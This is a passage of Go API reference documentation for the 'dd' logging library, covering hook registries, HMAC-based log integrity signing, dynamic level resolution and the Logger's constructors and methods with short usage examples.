type HookRegistry struct {
	// contains filtered or unexported fields
}

HookRegistry manages a collection of hooks organized by event type. It is thread-safe and supports dynamic hook registration.

Error Handling Behavior:

  • By default, Trigger returns the first error from a hook and stops execution
  • If an error handler is set via SetErrorHandler, all hooks are executed regardless of errors, and errors are passed to the handler
  • For BeforeLog events, an error still prevents the log from being written even with an error handler set

func NewHookRegistry added in v1.2.0

func NewHookRegistry() *HookRegistry

NewHookRegistry creates a new empty hook registry.

func NewHookRegistryWithErrorHandler added in v1.2.0

func NewHookRegistryWithErrorHandler(handler HookErrorHandler) *HookRegistry

NewHookRegistryWithErrorHandler creates a registry with a custom error handler. When an error handler is set, all hooks are executed even if some fail, and errors are passed to the handler instead of being returned immediately.

func (*HookRegistry) Add added in v1.2.0

func (r *HookRegistry) Add(event HookEvent, hook Hook)

Add registers a hook for a specific event type. If the hook is nil, it is ignored. Multiple hooks can be registered for the same event. Hooks are executed in the order they were added.

func (*HookRegistry) Clear added in v1.2.0

func (r *HookRegistry) Clear()

Clear removes all registered hooks.

func (*HookRegistry) ClearFor added in v1.2.0

func (r *HookRegistry) ClearFor(event HookEvent)

ClearFor removes all hooks for a specific event type.

func (*HookRegistry) Clone added in v1.2.0

func (r *HookRegistry) Clone() *HookRegistry

Clone creates a copy of the registry with the same hooks. The hooks themselves are shared (functions are not copied).

func (*HookRegistry) Count added in v1.2.0

func (r *HookRegistry) Count() int

Count returns the total number of registered hooks.

func (*HookRegistry) CountFor added in v1.2.0

func (r *HookRegistry) CountFor(event HookEvent) int

CountFor returns the number of hooks registered for a specific event.

func (*HookRegistry) Remove added in v1.2.0

func (r *HookRegistry) Remove(event HookEvent)

Remove removes all hooks for a specific event type.

func (*HookRegistry) SetErrorHandler added in v1.2.0

func (r *HookRegistry) SetErrorHandler(handler HookErrorHandler)

SetErrorHandler sets the error handler for this registry. Pass nil to remove the error handler and restore default behavior.

func (*HookRegistry) Trigger added in v1.2.0

func (r *HookRegistry) Trigger(ctx context.Context, event HookEvent, hookCtx *HookContext) (err error)

Trigger executes all hooks registered for the given event.

Error Handling Behavior:

  • If no error handler is set (default): hooks are executed in order; if any hook returns an error or panics, execution stops and that error is returned.
  • If an error handler is set: all hooks are executed regardless of errors or panics; each error is passed to the error handler, and the first error is returned.

For BeforeLog events, an error prevents the log from being written regardless of whether an error handler is set.

Panic Recovery: If a hook panics, the panic is recovered and converted to an error. This ensures that a misbehaving hook cannot crash the application.

type IntegrityConfig added in v1.2.0

type IntegrityConfig struct {
	// SecretKey is the secret key for HMAC signatures.
	// Must be at least 32 bytes for SHA-256.
	// IMPORTANT: Keep this key secure and rotate periodically.
	SecretKey []byte

	// HashAlgorithm is the hash algorithm to use.
	// Default: SHA256
	HashAlgorithm HashAlgorithm

	// IncludeTimestamp determines if timestamps are included in signatures.
	IncludeTimestamp bool

	// IncludeSequence determines if sequence numbers are included.
	// This provides replay attack protection.
	IncludeSequence bool

	// SignaturePrefix is the prefix for signatures in log output.
	// Default: "[SIG:"
	SignaturePrefix string
}

IntegrityConfig configures log integrity verification.

func DefaultIntegrityConfig added in v1.2.0

func DefaultIntegrityConfig() *IntegrityConfig

DefaultIntegrityConfig returns an IntegrityConfig with sensible defaults. Note: A cryptographically secure random key is generated but should be replaced for production use. IMPORTANT: Store the generated key securely if you need to verify logs across restarts.

For production environments where panic is unacceptable, use DefaultIntegrityConfigSafe() instead.

func DefaultIntegrityConfigSafe added in v1.2.0

func DefaultIntegrityConfigSafe() (*IntegrityConfig, error)

DefaultIntegrityConfigSafe returns an IntegrityConfig with sensible defaults. Unlike DefaultIntegrityConfig, this function returns an error instead of panicking if the secure random key generation fails. This is the recommended function for production environments.

Example:

cfg, err := dd.DefaultIntegrityConfigSafe()
if err != nil {
    // Handle error gracefully
    log.Fatal(err)
}

func (*IntegrityConfig) Clone added in v1.2.0

func (c *IntegrityConfig) Clone() *IntegrityConfig

Clone creates a copy of the IntegrityConfig.

func (*IntegrityConfig) MarshalJSON added in v1.2.0

func (c *IntegrityConfig) MarshalJSON() ([]byte, error)

MarshalJSON implements json.Marshaler for IntegrityConfig. Note: SecretKey is intentionally not marshaled for security reasons.

type IntegritySigner added in v1.2.0

type IntegritySigner struct {
	// contains filtered or unexported fields
}

IntegritySigner signs log entries for integrity verification. It uses a sync.Pool for hashers to ensure thread-safe concurrent access.

func NewIntegritySigner added in v1.2.0

func NewIntegritySigner(configs ...*IntegrityConfig) (*IntegritySigner, error)

NewIntegritySigner creates a new IntegritySigner with the given configuration. If no configuration is provided, DefaultIntegrityConfig() is used.

func (*IntegritySigner) GetSequence added in v1.2.0

func (s *IntegritySigner) GetSequence() uint64

GetSequence returns the current sequence number.

func (*IntegritySigner) ResetSequence added in v1.2.0

func (s *IntegritySigner) ResetSequence()

ResetSequence resets the sequence counter to 0.

func (*IntegritySigner) Sign added in v1.2.0

func (s *IntegritySigner) Sign(message string) string

Sign generates an HMAC signature for a log message. The signature includes the message, timestamp, and sequence number (if configured). Returns the signature string that should be appended to the log entry. This method is thread-safe and can be called concurrently.

Signature format: [SIG:timestamp:sequence:signature] where timestamp and sequence are included only if configured. This allows proper verification of all signed data.

func (*IntegritySigner) SignFields added in v1.2.0

func (s *IntegritySigner) SignFields(message string, fields []Field) string

SignFields generates an HMAC signature for a message with fields. Fields are included in the signature for additional integrity. This method is thread-safe and can be called concurrently.

Signature format: [SIG:timestamp:sequence:signature] where timestamp and sequence are included only if configured. This allows proper verification of all signed data.

func (*IntegritySigner) Stats added in v1.2.0

func (s *IntegritySigner) Stats() IntegrityStats

Stats returns current integrity signer statistics.

func (*IntegritySigner) Verify added in v1.2.0

func (s *IntegritySigner) Verify(entry string) (*LogIntegrity, error)

Verify verifies the integrity of a log entry. It validates that the signature matches the message, timestamp, and sequence (if configured). Returns the verification result and any error. This method is thread-safe and can be called concurrently.

type IntegrityStats added in v1.2.0

type IntegrityStats struct {
	Sequence         uint64 // Current sequence number
	Algorithm        string // Hash algorithm name
	IncludeTimestamp bool   // Whether timestamps are included
	IncludeSequence  bool   // Whether sequence numbers are included
}

IntegrityStats holds integrity signer statistics.

type JSONFieldNames

type JSONFieldNames = internal.JSONFieldNames

JSONFieldNames configures custom field names for JSON output.

type JSONOptions

type JSONOptions = internal.JSONOptions

JSONOptions configures JSON output format.

func DefaultJSONOptions

func DefaultJSONOptions() *JSONOptions

DefaultJSONOptions returns default JSON options.

type LevelLogger added in v1.2.0

type LevelLogger interface {
	CoreLogger

	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error
	IsLevelEnabled(level LogLevel) bool
	IsDebugEnabled() bool
	IsInfoEnabled() bool
	IsWarnEnabled() bool
	IsErrorEnabled() bool
	IsFatalEnabled() bool
}

LevelLogger extends CoreLogger with level management methods.

type LevelResolver added in v1.2.0

type LevelResolver func(ctx context.Context) LogLevel

LevelResolver is a function that determines the effective log level at runtime. This allows dynamic log level adjustment based on runtime conditions such as system load, error rate, or time of day. The function is called for each log entry, so it should be efficient.

Example:

// Adjust level based on system load
resolver := func(ctx context.Context) LogLevel {
    if getCPULoad() > 0.8 {
        return LevelWarn  // Only log warnings and above under high load
    }
    return LevelDebug
}
logger.SetLevelResolver(resolver)

type LogFormat

type LogFormat = internal.LogFormat

LogFormat defines the output format for log messages.

const (
	FormatText LogFormat = internal.LogFormatText
	FormatJSON LogFormat = internal.LogFormatJSON
)

type LogIntegrity added in v1.2.0

type LogIntegrity struct {
	// Valid indicates if the signature is valid.
	Valid bool
	// Timestamp is the timestamp from the log entry (if included).
	Timestamp time.Time
	// Sequence is the sequence number (if included).
	Sequence uint64
	// Message is the extracted message without signature.
	Message string
}

LogIntegrity contains the result of integrity verification.

type LogLevel

type LogLevel = internal.LogLevel

Re-export log level types and constants

func GetLevel added in v1.2.0

func GetLevel() LogLevel

GetLevel returns the current log level of the default logger.

type LogProvider added in v1.2.0

type LogProvider interface {
	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error
	IsLevelEnabled(level LogLevel) bool
	IsDebugEnabled() bool
	IsInfoEnabled() bool
	IsWarnEnabled() bool
	IsErrorEnabled() bool
	IsFatalEnabled() bool

	// Core logging methods
	Log(level LogLevel, args ...any)
	Logf(level LogLevel, format string, args ...any)
	LogWith(level LogLevel, msg string, fields ...Field)

	// Context-aware core methods
	LogCtx(ctx context.Context, level LogLevel, args ...any)
	LogfCtx(ctx context.Context, level LogLevel, format string, args ...any)
	LogWithCtx(ctx context.Context, level LogLevel, msg string, fields ...Field)

	// Convenience methods - Debug level
	Debug(args ...any)
	Debugf(format string, args ...any)
	DebugWith(msg string, fields ...Field)

	// Convenience methods - Info level
	Info(args ...any)
	Infof(format string, args ...any)
	InfoWith(msg string, fields ...Field)

	// Convenience methods - Warn level
	Warn(args ...any)
	Warnf(format string, args ...any)
	WarnWith(msg string, fields ...Field)

	// Convenience methods - Error level
	Error(args ...any)
	Errorf(format string, args ...any)
	ErrorWith(msg string, fields ...Field)

	// Convenience methods - Fatal level
	Fatal(args ...any)
	Fatalf(format string, args ...any)
	FatalWith(msg string, fields ...Field)

	// Context-aware convenience methods - Debug level
	DebugCtx(ctx context.Context, args ...any)
	DebugfCtx(ctx context.Context, format string, args ...any)
	DebugWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware convenience methods - Info level
	InfoCtx(ctx context.Context, args ...any)
	InfofCtx(ctx context.Context, format string, args ...any)
	InfoWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware convenience methods - Warn level
	WarnCtx(ctx context.Context, args ...any)
	WarnfCtx(ctx context.Context, format string, args ...any)
	WarnWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware convenience methods - Error level
	ErrorCtx(ctx context.Context, args ...any)
	ErrorfCtx(ctx context.Context, format string, args ...any)
	ErrorWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware convenience methods - Fatal level
	FatalCtx(ctx context.Context, args ...any)
	FatalfCtx(ctx context.Context, format string, args ...any)
	FatalWithCtx(ctx context.Context, msg string, fields ...Field)

	// Field chaining
	WithFields(fields ...Field) *LoggerEntry
	WithField(key string, value any) *LoggerEntry

	// Writer management
	AddWriter(writer io.Writer) error
	RemoveWriter(writer io.Writer) error
	WriterCount() int

	// Lifecycle
	Flush() error
	Close() error
	IsClosed() bool

	// Configuration
	SetSecurityConfig(config *SecurityConfig)
	GetSecurityConfig() *SecurityConfig
	SetWriteErrorHandler(handler WriteErrorHandler)

	// Context extractors
	AddContextExtractor(extractor ContextExtractor) error
	MustAddContextExtractor(extractor ContextExtractor)
	SetContextExtractors(extractors ...ContextExtractor) error
	MustSetContextExtractors(extractors ...ContextExtractor)
	GetContextExtractors() []ContextExtractor

	// Hooks
	AddHook(event HookEvent, hook Hook) error
	MustAddHook(event HookEvent, hook Hook)
	SetHooks(registry *HookRegistry) error
	MustSetHooks(registry *HookRegistry)
	GetHooks() *HookRegistry

	// Sampling
	SetSampling(config *SamplingConfig)
	GetSampling() *SamplingConfig

	// Debug utilities
	Print(args ...any)
	Println(args ...any)
	Printf(format string, args ...any)
	Text(data ...any)
	Textf(format string, args ...any)
	JSON(data ...any)

	// Filter goroutine monitoring
	ActiveFilterGoroutines() int32
	WaitForFilterGoroutines(timeout time.Duration) bool
}

LogProvider is the full interface combining all logging capabilities. This interface enables dependency injection, mocking, and testing. The concrete Logger type implements this interface.

Example usage with dependency injection:

type Service struct {
    logger dd.LogProvider
}

func NewService(logger dd.LogProvider) *Service {
    return &Service{logger: logger}
}

// In production
logger, _ := dd.New()
service := NewService(logger)

// In tests
mockLogger := &MockLogger{}
service := NewService(mockLogger)

type Logger

type Logger struct {
	// contains filtered or unexported fields
}

func Default

func Default() *Logger

Default returns the default global logger (thread-safe). The logger is created on first call with default configuration. Package-level convenience functions use this logger. Note: If SetDefault() is called before Default(), the custom logger is returned.

To check if the default logger was initialized correctly, use DefaultInitError() or DefaultWithErr():

if err := dd.DefaultInitError(); err != nil {
    // Logger is running in fallback mode
}

func DefaultWithErr added in v1.2.0

func DefaultWithErr() (*Logger, error)

DefaultWithErr returns the default logger and any initialization error. This is useful when you need to verify the default logger was created correctly.

Example:

logger, err := dd.DefaultWithErr()
if err != nil {
    // Handle initialization error
    log.Fatalf("Failed to initialize default logger: %v", err)
}
logger.Info("Application started")

func Must added in v1.2.0

func Must(cfgs ...*Config) *Logger

Must creates a new Logger and panics on error. If no configuration is provided, default settings are used.

Example:

// Simple usage with defaults
logger := dd.Must()
defer logger.Close()

// With custom configuration
cfg := dd.DefaultConfig()
cfg.Format = dd.FormatJSON
logger := dd.Must(cfg)

func MustNew added in v1.2.0

func MustNew(cfgs ...*Config) *Logger

MustNew creates a new Logger and panics on error. This is a convenience wrapper around Must() for simple initialization.

Example:

logger := dd.MustNew()
defer logger.Close()

// With config
logger := dd.MustNew(dd.DefaultConfig())

func MustToAll added in v1.2.0

func MustToAll(filename ...string) *Logger

MustToAll creates a logger that outputs to both console and file. Panics if the logger cannot be created.

Example:

logger := dd.MustToAll()
defer logger.Close()

func MustToAllJSON added in v1.2.0

func MustToAllJSON(filename ...string) *Logger

MustToAllJSON creates a logger that outputs to both console and file in JSON format. Panics if the logger cannot be created.

Example:

logger := dd.MustToAllJSON()
defer logger.Close()

func MustToConsole added in v1.2.0

func MustToConsole() *Logger

MustToConsole creates a logger that outputs to stdout only. Panics if the logger cannot be created (unlikely for console).

Example:

logger := dd.MustToConsole()
defer logger.Close()

func MustToFile added in v1.2.0

func MustToFile(filename ...string) *Logger

MustToFile creates a logger that outputs to a file only. Panics if the logger cannot be created. This is useful for initialization code where failure should be fatal.

Example:

logger := dd.MustToFile()
defer logger.Close()

func MustToJSONFile added in v1.2.0

func MustToJSONFile(filename ...string) *Logger

MustToJSONFile creates a logger that outputs to a file in JSON format only. Panics if the logger cannot be created.

Example:

logger := dd.MustToJSONFile()
defer logger.Close()

func MustToWriter added in v1.2.0

func MustToWriter(w io.Writer) *Logger

MustToWriter creates a logger that outputs to the provided writer. Panics if the logger cannot be created.

Example:

logger := dd.MustToWriter(&buf)
defer logger.Close()

func MustToWriters added in v1.2.0

func MustToWriters(writers ...io.Writer) *Logger

MustToWriters creates a logger that outputs to multiple writers. Panics if the logger cannot be created.

Example:

logger := dd.MustToWriters(os.Stdout, fileWriter)
defer logger.Close()

func New

func New(cfgs ...*Config) (*Logger, error)

New creates a new Logger with the provided configuration. If no configuration is provided, default settings are used.

Example:

// Simple usage with defaults
logger, _ := dd.New()
logger.Info("hello")

// With custom configuration
cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

func ToAll

func ToAll(filename ...string) (*Logger, error)

ToAll creates a logger that outputs to both console and file. If no filename is provided, uses the default path "logs/app.log". The format is text (human-readable).

Example:

logger, err := dd.ToAll()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToAllJSON added in v1.2.0

func ToAllJSON(filename ...string) (*Logger, error)

ToAllJSON creates a logger that outputs to both console and file in JSON format. If no filename is provided, uses the default path "logs/app.log".

Example:

logger, err := dd.ToAllJSON()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToConsole

func ToConsole() (*Logger, error)

ToConsole creates a logger that outputs to stdout only. The format is text (human-readable).

Example:

logger, err := dd.ToConsole()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToFile

func ToFile(filename ...string) (*Logger, error)

ToFile creates a logger that outputs to a file only. If no filename is provided, uses the default path "logs/app.log". The format is text (human-readable).

Example:

logger, err := dd.ToFile()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

// Custom filename
logger, err := dd.ToFile("logs/myapp.log")

func ToJSONFile

func ToJSONFile(filename ...string) (*Logger, error)

ToJSONFile creates a logger that outputs to a file in JSON format only. If no filename is provided, uses the default path "logs/app.log".

Example:

logger, err := dd.ToJSONFile()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToWriter added in v1.2.0

func ToWriter(w io.Writer) (*Logger, error)

ToWriter creates a logger that outputs to the provided writer.

Example:

var buf bytes.Buffer
logger, err := dd.ToWriter(&buf)
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToWriters added in v1.2.0

func ToWriters(writers ...io.Writer) (*Logger, error)

ToWriters creates a logger that outputs to multiple writers.

Example:

logger, err := dd.ToWriters(os.Stdout, fileWriter)
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func (*Logger) ActiveFilterGoroutines added in v1.2.0

func (l *Logger) ActiveFilterGoroutines() int32

ActiveFilterGoroutines returns the number of currently active filter goroutines in the security filter. This can be used for monitoring and detecting potential goroutine leaks in high-concurrency scenarios. A consistently high count may indicate that filter operations are timing out frequently.

func (*Logger) AddContextExtractor added in v1.2.0

func (l *Logger) AddContextExtractor(extractor ContextExtractor) error

AddContextExtractor adds a context extractor to the logger (thread-safe). Extractors are called in order to extract fields from context during logging. If the logger has no extractors, the provided extractor becomes the first one. Returns ErrNilExtractor if the extractor is nil, or ErrLoggerClosed if the logger is closed.

func (*Logger) AddHook added in v1.2.0

func (l *Logger) AddHook(event HookEvent, hook Hook) error

AddHook registers a hook for a specific event type (thread-safe). Hooks are called in order during the logging lifecycle. Returns ErrNilHook if the hook is nil, or ErrLoggerClosed if the logger is closed.

func (*Logger) AddWriter

func (l *Logger) AddWriter(writer io.Writer) error

AddWriter adds a writer to the logger in a thread-safe manner.

func (*Logger) Close

func (l *Logger) Close() error

Close closes the logger and all associated resources (thread-safe). If multiple writers fail to close, all errors are collected and returned. Triggers OnClose hooks before closing writers.

func (*Logger) Debug

func (l *Logger) Debug(args ...any)

func (*Logger) DebugCtx added in v1.2.0

func (l *Logger) DebugCtx(ctx context.Context, args ...any)

Context-aware convenience methods

func (*Logger) DebugWith

func (l *Logger) DebugWith(msg string, fields ...Field)

func (*Logger) DebugWithCtx added in v1.2.0

func (l *Logger) DebugWithCtx(ctx context.Context, msg string, fields ...Field)

func (*Logger) Debugf

func (l *Logger) Debugf(format string, args ...any)

func (*Logger) DebugfCtx added in v1.2.0

func (l *Logger) DebugfCtx(ctx context.Context, format string, args ...any)

func (*Logger) Error

func (l *Logger) Error(args ...any)

func (*Logger) ErrorCtx added in v1.2.0

func (l *Logger) ErrorCtx(ctx context.Context, args ...any)

func (*Logger) ErrorWith

func (l *Logger) ErrorWith(msg string, fields ...Field)

func (*Logger) ErrorWithCtx added in v1.2.0

func (l *Logger) ErrorWithCtx(ctx context.Context, msg string, fields ...Field)

func (*Logger) Errorf

func (l *Logger) Errorf(format string, args ...any)

func (*Logger) ErrorfCtx added in v1.2.0

func (l *Logger) ErrorfCtx(ctx context.Context, format string, args ...any)

func (*Logger) Fatal

func (l *Logger) Fatal(args ...any)

Fatal logs a message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Error() with custom logic.

func (*Logger) FatalCtx added in v1.2.0

func (l *Logger) FatalCtx(ctx context.Context, args ...any)

FatalCtx logs a message at FATAL level with context and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorCtx() with custom logic.

func (*Logger) FatalWith

func (l *Logger) FatalWith(msg string, fields ...Field)

FatalWith logs a structured message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorWith() with custom logic.

func (*Logger) FatalWithCtx added in v1.2.0

func (l *Logger) FatalWithCtx(ctx context.Context, msg string, fields ...Field)

FatalWithCtx logs a structured message at FATAL level with context and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorWithCtx() with custom logic.

func (*Logger) Fatalf

func (l *Logger) Fatalf(format string, args ...any)

Fatalf logs a formatted message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Errorf() with custom logic.

func (*Logger) FatalfCtx added in v1.2.0

func (l *Logger) FatalfCtx(ctx context.Context, format string, args ...any)

FatalfCtx logs a formatted message at FATAL level with context and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorfCtx() with custom logic.

func (*Logger) Flush added in v1.2.0

func (l *Logger) Flush() error

Flush flushes all buffered writers (thread-safe). Writers that implement Flusher interface will be flushed.

func (*Logger) GetContextExtractors added in v1.2.0

func (l *Logger) GetContextExtractors() []ContextExtractor

GetContextExtractors returns a copy of the current context extractors (thread-safe). Returns nil if no custom extractors are registered.

func (*Logger) GetFieldValidation added in v1.2.0

func (l *Logger) GetFieldValidation() *FieldValidationConfig

GetFieldValidation returns the current field validation configuration. Returns nil if no validation is configured.

func (*Logger) GetHooks added in v1.2.0

func (l *Logger) GetHooks() *HookRegistry

GetHooks returns a copy of the current hook registry (thread-safe). Returns nil if no hooks are registered.

func (*Logger) GetLevel

func (l *Logger) GetLevel() LogLevel

GetLevel returns the current log level (thread-safe).

func (*Logger) GetLevelResolver added in v1.2.0

func (l *Logger) GetLevelResolver() LevelResolver

GetLevelResolver returns the current level resolver function. Returns nil if no resolver is set.

func (*Logger) GetSampling added in v1.2.0

func (l *Logger) GetSampling() *SamplingConfig

GetSampling returns the current sampling configuration (thread-safe). Returns nil if sampling is not enabled.

func (*Logger) GetSecurityConfig

func (l *Logger) GetSecurityConfig() *SecurityConfig

GetSecurityConfig returns a copy of the current security configuration (thread-safe). Returns DefaultSecurityConfig() if no security config has been set. The returned config is a clone, so modifications do not affect the logger's config. For internal use within the logger, use getSecurityConfig() which returns the original.

func (*Logger) Info

func (l *Logger) Info(args ...any)

func (*Logger) InfoCtx added in v1.2.0

func (l *Logger) InfoCtx(ctx context.Context, args ...any)

func (*Logger) InfoWith

func (l *Logger) InfoWith(msg string, fields ...Field)

func (*Logger) InfoWithCtx added in v1.2.0

func (l *Logger) InfoWithCtx(ctx context.Context, msg string, fields ...Field)

func (*Logger) Infof

func (l *Logger) Infof(format string, args ...any)

func (*Logger) InfofCtx added in v1.2.0

func (l *Logger) InfofCtx(ctx context.Context, format string, args ...any)

func (*Logger) IsClosed added in v1.2.0

func (l *Logger) IsClosed() bool

IsClosed returns true if the logger has been closed (thread-safe).

func (*Logger) IsDebugEnabled added in v1.2.0

func (l *Logger) IsDebugEnabled() bool

IsDebugEnabled returns true if debug level logging is enabled.

func (*Logger) IsErrorEnabled added in v1.2.0

func (l *Logger) IsErrorEnabled() bool

IsErrorEnabled returns true if error level logging is enabled.

func (*Logger) IsFatalEnabled added in v1.2.0

func (l *Logger) IsFatalEnabled() bool

IsFatalEnabled returns true if fatal level logging is enabled.

func (*Logger) IsInfoEnabled added in v1.2.0

func (l *Logger) IsInfoEnabled() bool

IsInfoEnabled returns true if info level logging is enabled.

func (*Logger) IsLevelEnabled added in v1.2.0

func (l *Logger) IsLevelEnabled(level LogLevel) bool

IsLevelEnabled checks if logging is enabled for the given level (thread-safe). Returns true if the logger's level is at or below the specified level.

Example:

if logger.IsLevelEnabled(dd.LevelDebug) {
    // Expensive debug computation only when debug is enabled
    logger.DebugWith("Details", dd.Any("data", computeExpensiveDebugInfo()))
}

func (*Logger) IsWarnEnabled added in v1.2.0

func (l *Logger) IsWarnEnabled() bool

IsWarnEnabled returns true if warn level logging is enabled.

func (*Logger) JSON added in v1.1.1

func (l *Logger) JSON(data ...any)

func (*Logger) JSONF added in v1.1.1

func (l *Logger) JSONF(format string, args ...any)

func (*Logger) Log

func (l *Logger) Log(level LogLevel, args ...any)

Log logs a message at the specified level

func (*Logger) LogCtx added in v1.2.0

func (l *Logger) LogCtx(ctx context.Context, level LogLevel, args ...any)

LogCtx logs a message at the specified level with context support.

func (*Logger) LogWith

func (l *Logger) LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message with fields at the specified level

func (*Logger) LogWithCtx added in v1.2.0

func (l *Logger) LogWithCtx(ctx context.Context, level LogLevel, msg string, fields ...Field)

LogWithCtx logs a structured message with fields and context support.

func (*Logger) Logf added in v1.0.5

func (l *Logger) Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level

func (*Logger) LogfCtx added in v1.2.0

func (l *Logger) LogfCtx(ctx context.Context, level LogLevel, format string, args ...any)

LogfCtx logs a formatted message with context support.

func (*Logger) MustAddContextExtractor added in v1.2.0

func (l *Logger) MustAddContextExtractor(extractor ContextExtractor)

MustAddContextExtractor adds a context extractor and panics on error. This is useful for initialization code where failure should be fatal.

func (*Logger) MustAddHook added in v1.2.0

func (l *Logger) MustAddHook(event HookEvent, hook Hook)

MustAddHook registers a hook and panics on error. This is useful for initialization code where failure should be fatal.

func (*Logger) MustSetContextExtractors added in v1.2.0

func (l *Logger) MustSetContextExtractors(extractors ...ContextExtractor)

MustSetContextExtractors sets context extractors and panics on error. This is useful for initialization code where failure should be fatal.

func (*Logger) MustSetHooks added in v1.2.0

func (l *Logger) MustSetHooks(registry *HookRegistry)

MustSetHooks sets the hook registry and panics on error. This is useful for initialization code where failure should be fatal.

func (*Logger) Print added in v1.1.0

func (l *Logger) Print(args ...any)

Print writes to configured writers with caller info and newline. Uses LevelInfo for filtering. Arguments are joined with spaces. Applies sensitive data filtering based on SecurityConfig. Note: Both Print() and Println() behave identically because Log() already adds a newline.

func (*Logger) Printf added in v1.1.0

func (l *Logger) Printf(format string, args ...any)

Printf formats according to a format specifier and writes to configured writers with caller info. Uses LevelInfo for filtering.

func (*Logger) Println added in v1.1.0

func (l *Logger) Println(args ...any)

Println writes to configured writers with caller info, spaces between operands, and a newline. Uses LevelInfo for filtering. Applies sensitive data filtering based on SecurityConfig. Note: Behaves identically to Print() because Log() already adds a newline.

func (*Logger) RemoveWriter

func (l *Logger) RemoveWriter(writer io.Writer) error

RemoveWriter removes a writer from the logger in a thread-safe manner.

func (*Logger) SetContextExtractors added in v1.2.0

func (l *Logger) SetContextExtractors(extractors ...ContextExtractor) error

SetContextExtractors replaces all context extractors with the provided list (thread-safe). Pass no arguments to clear all extractors (which will use default behavior). Returns ErrLoggerClosed if the logger is closed.

func (*Logger) SetFieldValidation added in v1.2.0

func (l *Logger) SetFieldValidation(config *FieldValidationConfig)

SetFieldValidation sets the field validation configuration (thread-safe). This allows runtime adjustment of field key validation.

Example:

// Enable strict snake_case validation
logger.SetFieldValidation(dd.StrictSnakeCaseConfig())

func (*Logger) SetHooks added in v1.2.0

func (l *Logger) SetHooks(registry *HookRegistry) error

SetHooks replaces the hook registry with the provided one (thread-safe). Pass nil to clear all hooks. Returns ErrLoggerClosed if the logger is closed.

func (*Logger) SetLevel

func (l *Logger) SetLevel(level LogLevel) error

SetLevel atomically sets the log level (thread-safe).

func (*Logger) SetLevelResolver added in v1.2.0

func (l *Logger) SetLevelResolver(resolver LevelResolver)

SetLevelResolver sets a dynamic level resolver function (thread-safe). The resolver is called for each log entry to determine the effective log level. This allows runtime adjustment of log levels based on conditions like system load, error rates, or request context. Set to nil to disable dynamic resolution.

Example:

// Adaptive logging based on error rate
var errorCount atomic.Int64
logger.SetLevelResolver(func(ctx context.Context) LogLevel {
    if errorCount.Load() > 100 {
        return LevelWarn  // Reduce logging under high error rate
    }
    return LevelDebug
})

func (*Logger) SetSampling added in v1.2.0

func (l *Logger) SetSampling(config *SamplingConfig)

SetSampling enables or disables log sampling at runtime (thread-safe). Pass nil to disable sampling.

func (*Logger) SetSecurityConfig

func (l *Logger) SetSecurityConfig(config *SecurityConfig)

SetSecurityConfig atomically sets the security configuration (thread-safe).

func (*Logger) SetWriteErrorHandler added in v1.2.0

func (l *Logger) SetWriteErrorHandler(handler WriteErrorHandler)

SetWriteErrorHandler sets a callback for handling write errors (thread-safe). When a write operation fails, the handler is called with the writer and error. If no handler is set, write errors are silently ignored.

func (*Logger) Shutdown added in v1.2.0

func (l *Logger) Shutdown(ctx context.Context) error

Shutdown gracefully closes the logger with a timeout. This is the recommended way to close a logger in production environments.

The method performs the following steps:

  1. Marks the logger as closed to prevent new log entries
  2. Triggers OnClose hooks with the provided context
  3. Waits for any in-flight operations to complete
  4. Flushes and closes all writers with the specified timeout

If the timeout is exceeded, Shutdown returns a context.DeadlineExceeded error along with any other errors that occurred during shutdown.

Recommended usage:

logger, _ := dd.New(dd.DefaultConfig())
defer func() {
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()
    if err := logger.Shutdown(ctx); err != nil {
        fmt.Fprintf(os.Stderr, "Logger shutdown error: %v\n", err)
    }
}()

func (*Logger) Text added in v1.0.2

func (l *Logger) Text(data ...any)

Text outputs data as pretty-printed format to stdout for debugging.

SECURITY WARNING: This method does NOT apply sensitive data filtering. Do not use with sensitive data in production environments. For secure logging, use logger.Info(), logger.Debug(), etc. which apply sensitive data filtering.

func (*Logger) Textf added in v1.0.3

func (l *Logger) Textf(format string, args ...any)

func (*Logger) WaitForFilterGoroutines added in v1.2.0

func (l *Logger) WaitForFilterGoroutines(timeout time.Duration) bool

WaitForFilterGoroutines waits for all active filter goroutines to complete or until the timeout is reached.

IMPORTANT: Call this method before Close() in graceful shutdown scenarios to prevent goroutine leaks. The security filter may spawn background goroutines for processing large inputs with regex patterns. Failing to wait for these goroutines can result in resource leaks.

Example graceful shutdown:

// 1. Stop accepting new requests/logs
// 2. Wait for filter goroutines (use 2-5 seconds typically)
if !logger.WaitForFilterGoroutines(3 * time.Second) {
    log.Println("Warning: some filter goroutines did not complete in time")
}
// 3. Close the logger
logger.Close()

Returns true if all goroutines completed, false if timeout was reached.

func (*Logger) Warn

func (l *Logger) Warn(args ...any)

func (*Logger) WarnCtx added in v1.2.0

func (l *Logger) WarnCtx(ctx context.Context, args ...any)

func (*Logger) WarnWith

func (l *Logger) WarnWith(msg string, fields ...Field)

func (*Logger) WarnWithCtx added in v1.2.0

func (l *Logger) WarnWithCtx(ctx context.Context, msg string, fields ...Field)

